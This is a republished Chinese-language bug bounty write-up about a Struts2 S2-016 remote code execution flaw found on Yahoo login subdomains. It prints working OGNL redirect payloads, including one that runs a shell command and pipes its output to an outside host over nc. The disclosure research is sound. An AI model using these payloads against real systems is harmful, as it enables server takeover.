Yahoo Bug Bounty Part 2 - *.login.yahoo.com Remote Code Execution 遠端代碼執行漏...
source link: http://blog.orange.tw/2013/11/yahoo-bug-bounty-part-2-loginyahoocom.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Yahoo Bug Bounty Part 2 - *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞
Yahoo 系列的 Part 2 來囉~
Bug Bounty 緣起說明以及 Part 1 請看以下鏈結
(Yahoo Bug Bounty Part 1 - 台灣 Yahoo Blog 任意檔案下載漏洞)
這次比較有趣,是遠端代碼執行!
有漏洞的點主要在下面兩個網站:
b.login.yahoo.com
讓我們來看看網頁長什麼樣子,apt.login.yahoo.com
apt 似乎是 Yahoo 的線上廣告管理系統, b 就看不出是什麼東西了XD
出問題的原因在於這兩個網站撰寫時是使用了 Struts2 這個 Java Framework,
今年七月中的時,Struts2 爆發一個嚴重的 Remote Code Execution 等級的漏洞,這個漏洞被官方編號為 s2-016,
(基本上 Struts2 可以出包的地方都出過一遍了之後再出事應該也不意外...)
大致是說在 Struts2 中支援一些 Prefix 讓程式開發人員可以方便導向如 action, redirect, redirectAction 等,
但在處理這些方法時並沒有做好過濾,造成在這之中的內容可以用 ${ognl_exp} 的形式來執行 OGNL 如:
網站會跳轉到 /15129.action,漏洞存在代表 123*123 有被伺服器運算到!redirectAction: ${123*123}
好玩的是,官方公佈漏洞時順便把攻擊 PoC 一起釋出,等於駭客可以不用再去注意漏洞發生細節在那,可以直接開始修改 Poc 並且攻擊,
那個時期網路上風雲變色,一堆網站都來不及修補深受其害xDD
那時大陸著名漏洞回報網站 烏雲 上也一堆人在利用這個弱點洗 Rank 還滿有趣的xDD 在用剛剛的方法判斷 Yahoo 存在這個漏洞後,接著就是嘗試使用攻擊代碼嘗試執行指令,但攻擊的 Exploit 卻不能直接利用,
(想想也是拉,不然早就被一堆人玩到爆了XD)
所以不能利用的原因在哪裡呢?接下來就是研究的部分,
來感嘆一下XD
很多 Script Kiddie 只會用網路上現成的工具入侵,
但如果不確實明白原理的話很常會出現漏洞存在但工具無法使用的情況,
例如 Library 路徑的不同,網路上工具都是寫死的如
這樣只要路徑不再預設位置上的話工具就會失敗com.opensymphony.xwork2
那要怎麼辦呢?來講個小技巧,
在無法判斷位置的情況下可以利用 #request 這個變數來看位置以及一些敏感資訊,
以這個例子來講:
redirect: ${#request}
不過好在利用的是 s2-16 redirect 弱點,可以由轉址的方式來 leakge 出一些資訊判斷 Java Code 是否執行成功,所以雖然是用黑盒但可以用 Blind 的方式來進行猜測,
測試後發現,
- 不能有逗點後的 method
- 不能有雙引號
- 不能有些特定關鍵字
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%[email protected]@EMPTY_SET,
@java.lang.Thread@sleep(10000)
}
&aa=xwork.MethodAccessor.denyMethodExecution
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%[email protected]@EMPTY_SET,
@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{#parameters.a1,#parameters.a2,#parameters.a3}),
}
&aa=xwork.MethodAccessor.denyMethodExecution
&a1=/bin/sh
&a2=-c
&a3=uname -a | nc orange.tw 12345
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK